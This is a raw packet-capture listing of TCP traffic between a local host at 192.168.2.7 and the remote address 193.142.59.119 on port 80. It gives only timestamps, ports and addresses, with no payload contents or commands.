Aug 19, 2021 07:53:39.828819036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.828834057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.828847885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.828864098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.828881025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.828891993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.828897953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.828922033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.828938007 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.828950882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.828953981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.828979015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.828990936 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829006910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829020023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829035044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829046965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829061031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829085112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829092026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829108000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829119921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829123020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829148054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829163074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829174042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829195023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829202890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829211950 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829231977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829247952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829260111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829262972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829288006 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829301119 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829315901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829332113 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829344988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829351902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829372883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829386950 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829401016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829406977 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829430103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829443932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829457998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829462051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829487085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829500914 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829544067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829545021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829577923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829586983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829610109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829623938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829641104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829654932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829668999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829680920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829698086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829713106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829725981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829735041 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829755068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829780102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829782963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829792976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829813957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829828978 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829840899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829843998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829886913 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829889059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829917908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829932928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829947948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829956055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.829978943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.829989910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830009937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830019951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830039978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830045938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830073118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830081940 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830104113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830111980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830135107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830143929 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830166101 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830178976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830198050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830209970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830229998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830236912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830274105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830281019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830308914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830321074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830337048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830347061 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830384970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830387115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830430031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830446959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830492973 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830496073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830538034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830538988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830579996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830581903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830609083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830621958 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830636978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830648899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830672026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830692053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830722094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830734015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830754042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830760956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830785990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830797911 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830817938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830818892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830849886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830859900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830893993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830893993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830923080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830936909 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830946922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830965996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.830971956 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.830982924 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831001997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831007004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831043005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831051111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831068039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831088066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831090927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831104040 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831130981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831132889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831157923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831175089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831182957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831199884 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831207991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831228971 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831244946 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831319094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831370115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831393957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831423998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831438065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831451893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831456900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831492901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831496000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831562996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831576109 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831595898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831609964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831653118 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831656933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831698895 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831727982 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831756115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831773996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831779003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831784010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831785917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831809998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831819057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831845045 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831849098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831875086 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831880093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831895113 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831909895 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.831918001 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831952095 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.831969976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.832004070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.832011938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.832034111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.832051992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.832071066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.838895082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.838937044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.838965893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.838970900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.838994026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.838994026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839006901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839024067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839030981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839051962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839071989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839076042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839101076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839129925 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839134932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839139938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839152098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839162111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839184999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839189053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839210987 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839215040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839226007 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839236021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839262962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839266062 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839287043 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839287996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839302063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839313030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839329004 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839333057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839363098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839380026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839380980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839406013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839423895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839430094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839442015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839457989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839472055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839484930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839495897 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839513063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839526892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839540958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839543104 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839570045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839584112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839596987 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839606047 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839626074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839643002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839659929 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839674950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839721918 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839740038 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839862108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839870930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839903116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839915037 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839935064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839943886 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839967966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.839978933 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.839999914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840018034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840034962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840038061 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840069056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840084076 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840101004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840116978 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840146065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840150118 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840178013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840193987 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840208054 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840236902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840265036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840277910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840290070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840317011 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840322971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840336084 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840352058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840380907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840396881 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840410948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840425968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840440035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840451956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840478897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840487957 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840509892 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840522051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840538979 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840550900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840567112 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840578079 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840595007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840607882 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840624094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840632915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840651035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840665102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840678930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.840689898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.840715885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841581106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841623068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841641903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841667891 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841677904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841711044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841721058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841742992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841768980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841777086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841782093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841809988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841820955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841842890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841851950 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841876984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841886044 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841911077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841917038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841944933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841953993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.841978073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.841991901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842011929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842020988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842045069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842056990 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842077971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842082977 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842111111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842118979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842144966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842154026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842179060 CEST	80	49738	193.142.59.119	192.168.2.7
